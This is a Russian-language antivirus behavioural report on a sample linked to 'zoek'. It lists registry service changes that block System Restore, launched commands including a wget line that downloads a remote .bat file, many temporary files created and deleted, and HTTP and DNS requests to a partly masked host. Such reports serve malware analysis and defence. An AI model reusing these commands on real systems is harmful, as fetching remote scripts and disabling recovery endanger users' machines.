Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\sr] 'Start' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\srservice] 'Start' = '00000002'
Вредоносные функции:
Для затруднения выявления своего присутствия в системе
блокирует:
- Компонент восстановления системы (SR)
Создает и запускает на исполнение:
- %TEMP%\PEVZ.EXE MOVEEX "%TEMP%\zoek.com"
- %TEMP%\PEVZ.EXE PLIST
- %TEMP%\wget.exe http://www.hi###kthis.nl/smeenk/sample/download3.bat
Запускает на исполнение:
- <SYSTEM32>\cscript.exe //I //nologo os.vbs
- <SYSTEM32>\find.exe /i "x86"
- <SYSTEM32>\mshta.exe "%TEMP%\zoek.hta"
- <SYSTEM32>\cscript.exe //I //nologo drt.vbs
- <SYSTEM32>\reg.exe Query HKLM\Hardware\Description\System\CentralProcessor\0
- <SYSTEM32>\findstr.exe -RIV "C:\\WINDOWS\\system32\\svchost.exe C:\\WINDOWS\\system32\\cmd.exe \\PEVZ.exe" ProcessList.txt
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\zoek-install.bat" "
- <SYSTEM32>\findstr.exe /M /I "4.0.0.2"
- <SYSTEM32>\findstr.exe /M /I "mshta.exe"
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\hijackthis.exe
- %TEMP%\7za.exe
- %TEMP%\shortcut.exe
- %TEMP%\logje.txt
- %TEMP%\ProcessList.txt
- %TEMP%\swxcacls.exe
- %TEMP%\zoekrun.hta
- %TEMP%\remove.exe
- %TEMP%\zoek-delete.exe
- %TEMP%\sed.exe
- %TEMP%\NirCmd.exe
- %TEMP%\ostmp.tmp
- %TEMP%\os.vbs
- %TEMP%\tmp1.txt
- %TEMP%\0.zoek
- %TEMP%\drt.vbs
- %TEMP%\StringCheck.txt
- %TEMP%\log2
- %TEMP%\log3
- %TEMP%\log.txt
- %TEMP%\checkOS.txt
- %TEMP%\tmp.txt
- %TEMP%\wget.exe
- %TEMP%\1.tmp\z6.scf
- %TEMP%\1.tmp\z5.scf
- %TEMP%\1.tmp\z7.scf
- %TEMP%\1.tmp\z9.scf
- %TEMP%\1.tmp\z8.scf
- %TEMP%\1.tmp\z4.scf
- %TEMP%\1.tmp\z0.scf
- %TEMP%\1.tmp\zoek-install.bat
- %TEMP%\1.tmp\z1.scf
- %TEMP%\1.tmp\z3.scf
- %TEMP%\1.tmp\z2.scf
- %TEMP%\zoek.hta
- %TEMP%\1.tmp\log.txt
- %TEMP%\zoek.bat
- %TEMP%\PEVZ.EXE
- %TEMP%\swreg.exe
- %TEMP%\urlzoek
- %TEMP%\1.tmp\zb.scf
- %TEMP%\1.tmp\za.scf
- %TEMP%\1.tmp\zc.scf
- %TEMP%\1.tmp\ze.scf
- %TEMP%\1.tmp\zd.scf
Удаляет следующие файлы:
- %TEMP%\logje.txt
- %TEMP%\log2
- %TEMP%\log3
- %TEMP%\1.tmp\ze.scf
- %TEMP%\1.tmp\log.txt
- %TEMP%\ProcessList.txt
- %TEMP%\tmp.txt
- %TEMP%\tmp1.txt
- %TEMP%\drt.vbs
- %TEMP%\ostmp.tmp
- %TEMP%\StringCheck.txt
- %TEMP%\checkOS.txt
- %TEMP%\os.vbs
- %TEMP%\1.tmp\zd.scf
- %TEMP%\1.tmp\z3.scf
- %TEMP%\1.tmp\z4.scf
- %TEMP%\1.tmp\z5.scf
- %TEMP%\1.tmp\z0.scf
- %TEMP%\1.tmp\z1.scf
- %TEMP%\1.tmp\z2.scf
- %TEMP%\1.tmp\z6.scf
- %TEMP%\1.tmp\za.scf
- %TEMP%\1.tmp\zb.scf
- %TEMP%\1.tmp\zc.scf
- %TEMP%\1.tmp\z7.scf
- %TEMP%\1.tmp\z8.scf
- %TEMP%\1.tmp\z9.scf
Сетевая активность:
Подключается к:
- 'www.hi###kthis.nl':80
TCP:
Запросы HTTP GET:
- www.hi###kthis.nl/smeenk/sample/download3.bat
UDP:
- DNS ASK www.hi###kthis.nl
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'HTML Application Host Window Class' WindowName: ''
